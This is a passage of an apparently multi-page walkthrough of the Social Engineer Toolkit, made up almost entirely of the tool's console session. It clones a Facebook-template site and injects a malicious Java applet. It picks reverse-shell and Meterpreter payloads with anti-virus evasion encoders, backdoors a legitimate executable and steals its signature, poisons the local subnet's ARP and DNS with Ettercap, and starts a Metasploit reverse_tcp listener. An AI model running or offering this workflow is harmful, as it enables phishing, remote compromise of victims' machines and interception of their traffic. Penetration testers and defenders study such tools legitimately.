Social Engineer Toolkit (Страница 4 из 16)

Enter your choice (press enter for default): 1


The first method will allow SET to import a list of pre-defined
web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

[!] Website Attack Vectors [!]

1. Web Templates
2. Site Cloner 
3. Custom Import 
4. Return to main menu
    
Enter number (1-4): 1


Select a template to utilize within the web clone attack

1. Java Required 
2. Gmail
3. Google
4. Facebook
5. Twitter

Enter the one to use: 4
[*] UPX packer not found in the pathname specified in config. Disabling UPX packing for executable!
What payload do you want to generate:

Name:                                      Description:

1. Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker.
2. Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker.
3. Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker.
4. Windows Bind Shell                      Execute payload and create an accepting port on remote system.
5. Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline
6. Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
7. Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
8. Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
9. Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
10. Windows Meterpreter Reverse DNS        Use a hostname instead of an IP address and spawn Meterpreter
11. Import your own executable             Specify a path for your own executable

Enter choice (hit enter for default): 

Below is a list of encodings to try and bypass AV. 

Select one of the below, 'backdoored executable' is typically the best.

1. avoid_utf8_tolower (Normal)
2. shikata_ga_nai (Very Good)
3. alpha_mixed (Normal)
4. alpha_upper (Normal)
5. call4_dword_xor (Normal)
6. countdown (Normal)
7. fnstenv_mov (Normal)
8. jmp_call_additive (Normal)
9. nonalpha (Normal)
10. nonupper (Normal)
11. unicode_mixed (Normal)
12. unicode_upper (Normal)
13. alpha2 (Normal)
14. No Encoding (None)
15. Multi-Encoder (Excellent)
16. Backdoored Executable (BEST)

Enter your choice (enter for default): 
[-] Enter the PORT of the listener (enter for default): 

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.
[*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.
[*] Digital Signature Stealing is ON, hijacking a legit digital certificate.

********************************************************
Do you want to create a Linux/OSX reverse_tcp payload
in the Java Applet attack as well?
********************************************************

Enter choice yes or no: 

[*] ARP Cache Poisoning is set to ON.

[*] Welcome to the SET Ettercap Integration Menu [*]

This attack will poison all victims on your local subnet, and redirect them
when they hit a specific website. The next prompt will ask you which site you
will want to trigger the DNS redirect on. A simple example of this is if you
wanted to trigger everyone on your subnet to connect to you when they go to
browse to www.google.com, the victim would then be redirected to your malicious
site. You can alternatively poison everyone and everysite by using the wildcard 
'*' flag.

IF YOU WANT TO POISON ALL DNS ENTRIES (DEFAULT) JUST HIT ENTER OR *
        
Example: http://www.google.com

Enter the site to redirect to attack machine (enter for default): 
Do you want to use bridged mode yes or no: 
[*] LAUNCHING ETTERCAP DNS_SPOOF ATTACK!

[*] Cloning the website: http://192.168.1.2
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: Fg6OPUv9F
[*] Malicious java applet website prepped for deployment


***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...
[-] ***
[-] * WARNING: No database support: String User Disabled Database Support
[-] ***

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                           |_|


       =[ metasploit v3.5.1-release [core:3.5 api:1.0]
+ -- --=[ 635 exploits - 314 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11338 updated 58 days ago (2010.12.14)

Warning: This copy of the Metasploit Framework was last updated 58 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://www.metasploit.com/redmine/projects/framework/wiki/Updating

resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 0.0.0.0:443 
[*] Starting the payload handler...
msf exploit(handler) >